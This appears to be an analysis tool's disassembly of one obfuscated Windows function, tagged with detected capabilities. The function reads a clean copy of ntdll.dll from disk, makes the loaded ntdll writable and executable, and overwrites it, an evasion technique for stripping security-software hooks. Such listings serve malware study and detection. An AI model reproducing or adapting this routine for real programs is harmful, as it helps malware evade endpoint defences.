Function at 0x401bd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [0x4a92c0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4ab3d8]
mov ecx, dword [0x4ab3d4]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov eax, 0xd04aa24f
sete byte [ebp - 0x1d]
cmp ecx, 0xa
setl byte [ebp - 0x1e]
jmp 0x401c20
mov eax, 0xff33dfff
nop dword [eax + eax]
cmp eax, 0xf8650f2c
jle 0x401ca0
cmp eax, 0x2659640d
jg 0x401d80
cmp eax, 0x54436f0
jle 0x401e62
cmp eax, 0x1ecc4edb
jg 0x401f43
cmp eax, 0x54436f1
je 0x401fca
cmp eax, 0x17cb3371
jne 0x401c20
mov edx, dword [0x4ab3d8]
mov ecx, dword [0x4ab3d4]
mov edi, 0x29de9aff
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xfde48fd0
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1c]
cmovge eax, ebx
jmp 0x401c20
cmp eax, 0xb31bedfe
jle 0x401dd0
cmp eax, 0xd04aa24e
jle 0x401ec2
cmp eax, 0xf443f3d6
jg 0x401f6f
cmp eax, 0xd04aa24f
je 0x402012
cmp eax, 0xd8a21e17
jne 0x401c20
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
push dword [ebp - 0x28]
push 0x40
push dword [eax + 8]
push ecx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
test eax, eax
mov eax, dword [ebp - 0x48]
setne byte [eax]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.0043d7a0
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
mov ebx, dword [ebp - 0x14]
mov ebx, dword [ebx]
add edx, dword [ebx + 0xc]
push dword [ebp - 0x28]
push dword [eax]
push dword [ecx + 8]
push edx
call edi
test eax, eax
mov eax, dword [ebp - 0x48]
setne byte [eax]
mov eax, dword [ebp - 0x48]
mov eax, 0x54436f1
jmp 0x401c20
cmp eax, 0x3196c82c
jle 0x401eed
cmp eax, 0x44b03748
jle 0x401fb2
cmp eax, 0x44b03749
je 0x402041
cmp eax, 0x60f10d16
jne 0x401c20
movzx eax, word [ebp - 0x4a]
mov ecx, dword [ebp - 0x54]
cmp ecx, eax
mov eax, 0x238235d6
setl byte [ebp - 0x1f]
jmp 0x401c20
cmp eax, 0xa6ea0684
jg 0x401f18
cmp eax, 0x8345af98
je 0x40204b
cmp eax, 0x8be6e2a7
je 0x40206b
cmp eax, 0x9edbe41a
jne 0x401c20
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
sub esp, 0x14
vmovaps xmm0, xmmword [0x459200]
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov word [eax], 0
mov eax, 0x8345af98
jmp 0x401c20
cmp eax, 0xf8650f2d
je 0x401c13
cmp eax, 0xfde48fd0
je 0x402080
cmp eax, 0xff33dfff
jne 0x401c20
mov eax, dword [0x4ab3d8]
mov edi, 0x2ccdb4f6
mov ebx, 0xf8650f2d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf8650f2d
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4ab3d4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401c20
cmp eax, 0xb31bedff
je 0x40208a
cmp eax, 0xc5b4c32e
je 0x402094
cmp eax, 0xcbc4f5f9
jne 0x401c20
mov eax, 0xa6ea0685
jmp 0x401c20
cmp eax, 0x2659640e
je 0x40209e
cmp eax, 0x29de9aff
je 0x4020a8
cmp eax, 0x2ccdb4f6
jne 0x401c20
mov eax, 0x3196c82d
jmp 0x401c20
cmp eax, 0xa6ea0685
je 0x4020ed
cmp eax, 0xb01d2285
je 0x402145
cmp eax, 0xb106b17a
jne 0x401c20
mov eax, 0x2659640e
jmp 0x401c20
cmp eax, 0x1ecc4edc
je 0x40218b
cmp eax, 0x238235d6
jne 0x401c20
cmp byte [ebp - 0x1f], 0
mov eax, 0x17cb3371
mov ecx, 0x8be6e2a7
cmovne eax, ecx
jmp 0x401c20
cmp eax, 0xf443f3d7
je 0x4021a2
cmp eax, 0xf7ea26e8
jne 0x401c20
mov eax, dword [ebp - 0x2c]
push dword [eax]
call esi
mov eax, dword [ebp - 0x38]
push dword [eax]
call esi
mov eax, dword [ebp - 0x3c]
push dword [eax]
call esi
mov eax, dword [ebp - 0x34]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x24]
mov eax, 0x3f5673b0
jmp 0x401c20
cmp eax, 0x3196c82d
jne 0x4022a1
mov eax, dword [ebp - 0x14]
mov eax, 0xb31bedff
jmp 0x401c20
mov edx, dword [0x4ab3d8]
mov ecx, dword [0x4ab3d4]
mov edi, 0xff33dfff
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf8650f2d
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x28]
cmovge eax, edx
jmp 0x401c20
movzx ecx, byte [ebp - 0x1d]
movzx eax, byte [ebp - 0x1e]
mov edi, 0xa6ea0685
mov ebx, 0xcbc4f5f9
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xcbc4f5f9
cmovne eax, edi
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, edi
jmp 0x401c20
mov eax, 0x8345af98
jmp 0x401c20
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0x4a], ax
mov eax, 0x60f10d16
jmp 0x401c20
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, 0xb01d2285
jmp 0x401c20
mov eax, 0x29de9aff
jmp 0x401c20
mov eax, 0x1ecc4edc
jmp 0x401c20
mov eax, 0xf443f3d7
jmp 0x401c20
mov eax, 0xf7ea26e8
jmp 0x401c20
mov edx, dword [0x4ab3d8]
mov ecx, dword [0x4ab3d4]
mov edi, 0xb106b17a
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xfde48fd0
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401c20
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
mov eax, dword [0x4ab3d8]
mov ebx, 0xc5b4c32e
mov edi, 0xcbc4f5f9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xcbc4f5f9
sete cl
cmove eax, ebx
cmp dword [0x4ab3d4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401c20
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x1c]
movzx edx, word [edx]
add ecx, eax
lea edx, [edx + edx*4]
lea eax, [ecx + edx*8 + 0x18]
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
push 0x459288
push dword [eax]
call fcn.004411b0
add esp, 8
test eax, eax
mov eax, 0x3196c82d
mov ecx, 0xd8a21e17
cmove eax, ecx
jmp 0x401c20
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x1c]
inc eax
mov word [ecx], ax
mov eax, 0x44b03749
jmp 0x401c20
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x34]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x2c]
push 0xc
push dword [ebp - 0x30]
push dword [eax]
push dword [ecx]
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
sub esp, 0x1c
vmovaps xmm0, xmmword [0x459210]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
sub esp, 0x18
vmovaps xmm0, xmmword [0x459220]
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x50], eax
mov eax, 0x9edbe41a
jmp 0x401c20
cmp eax, 0x3f5673b0
jne 0x401c20
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043a910
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret